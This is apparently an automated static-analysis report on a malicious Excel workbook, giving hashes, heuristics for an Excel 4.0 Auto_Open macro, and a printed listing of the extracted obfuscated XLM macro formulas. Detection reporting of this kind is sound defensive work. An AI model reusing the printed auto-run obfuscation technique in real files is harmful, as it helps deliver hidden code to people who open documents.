Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7464ac4d476c175f…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:16 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: d20d6dc5b2173e7c514ee665b2b3c2d2 SHA-1: 9ef461e8058149d0acf794985ed33680407fe97c SHA-256: 7464ac4d476c175f7d7f537409b9cc87cf8499a34c121bb082864028270208ab
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6669 bytes
SHA-256: 0b562c266e4084c4435f864502f004aeb9f86c7b6fd8be6572e403d24312d3cf
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  RLpcn
' 0018     25 LABEL : Cell Value, String Constant - akxmERWRio len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H140 
' 0018     20 LABEL : Cell Value, String Constant - BFVnu len=0 
' 0018     25 LABEL : Cell Value, String Constant - COqoOnhQry len=0 
' 0018     25 LABEL : Cell Value, String Constant - cUjMlAEhRG len=0 
' 0018     27 LABEL : Cell Value, String Constant - DdRxxvYrlOyx len=0 
' 0018     23 LABEL : Cell Value, String Constant - EIleGNVn len=0 
' 0018     27 LABEL : Cell Value, String Constant - fGDCOuiqtLrr len=0 
' 0018     26 LABEL : Cell Value, String Constant - fZzWaJrAMOb len=0 
' 0018     23 LABEL : Cell Value, String Constant - ImMctgJz len=0 
' 0018     25 LABEL : Cell Value, String Constant - KcBfProrDT len=0 
' 0018     21 LABEL : Cell Value, String Constant - kdGbwJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - NGLluejI len=0 
' 0018     22 LABEL : Cell Value, String Constant - OdQhDZW len=0 
' 0018     27 LABEL : Cell Value, String Constant - qPJCCsWwuUAh len=0 
' 0018     26 LABEL : Cell Value, String Constant - QZYxzcDyUZt len=0 
' 0018     22 LABEL : Cell Value, String Constant - RbKnbru len=0 
' 0018     23 LABEL : Cell Value, String Constant - rfHGBltB len=0 
' 0018     27 LABEL : Cell Value, String Constant - uIZELAjhqJOe len=0 
' 0018     23 LABEL : Cell Value, String Constant - XPSwtofI len=0 
' 0018     24 LABEL : Cell Value, String Constant - xwbeundsf len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  RLpcn,H50,"SET.NAME("akxmERWRio",0+VALUE("0"))",""
'  RLpcn,H53,"SET.NAME("fZzWaJrAMOb",akxmERWRio)",""
'  RLpcn,H55,"SET.NAME("EIleGNVn",akxmERWRio)",""
'  RLpcn,H58,"SET.NAME("DdRxxvYrlOyx",COUNTA(rfHGBltB))",""
'  RLpcn,H63,"SET.NAME("XPSwtofI",COUNTA(qPJCCsWwuUAh))",""
'  RLpcn,H66,[],""
'  RLpcn,H69,"SET.NAME("KcBfProrDT","")",""
'  RLpcn,T69,"",89.00000000000000000000
'  RLpcn,T70,"",227.00000000000000000000
'  RLpcn,H71,"fZzWaJrAMOb",""
'  RLpcn,T71,"",174.00000000000000000000
'  RLpcn,T72,"",189.00000000000000000000
'  RLpcn,T73,"",-62.00000000000000000000
'  RLpcn,H74,"SET.NAME("BFVnu",HLOOKUP("*",rfHGBltB,fZzWaJrAMOb,FALSE))",""
'  RLpcn,T74,"",-325.00000000000000000000
'  RLpcn,H79,"cUjMlAEhRG",""
'  RLpcn,H81,"SET.NAME("QZYxzcDyUZt",akxmERWRio)",""
'  RLpcn,H83,[],""
'  RLpcn,H85,"QZYxzcDyUZt",""
'  RLpcn,H90,"OdQhDZW",""
'  RLpcn,H94,"ImMctgJz",""
'  RLpcn,H99,"fGDCOuiqtLrr",""
'  RLpcn,H103,"SET.NAME("COqoOnhQry",VALUE(HLOOKUP("*",qPJCCsWwuUAh,fGDCOuiqtLrr,FALSE)))",""
'  RLpcn,H107,"NGLluejI",""
'  RLpcn,H110,"KcBfProrDT",""
'  RLpcn,H113,"EIleGNVn",""
'  RLpcn,H116,NEXT(),""
'  RLpcn,H119,"uIZELAjhqJOe",""
'  RLpcn,H123,[],""
'  RLpcn,H128,"xwbeundsf",""
'  RLpcn,H131,NEXT(),""
'  RLpcn,H135,RETURN(),""
'  RLpcn,H162,"SET.NAME("kdGbwJ",H50)",""
'  RLpcn,H166,"rfHGBltB",""
'  RLpcn,H171,"SET.NAME("qPJCCsWwuUAh",R41C13)",""
'  RLpcn,H174,"SET.NAME("xwbeundsf",182)",""
'  RLpcn,H179,"SET.NAME("RbKnbru",8)",""
'  RLpcn,H181,kdGbwJ(),""
'  RLpcn,H182,HALT(),""

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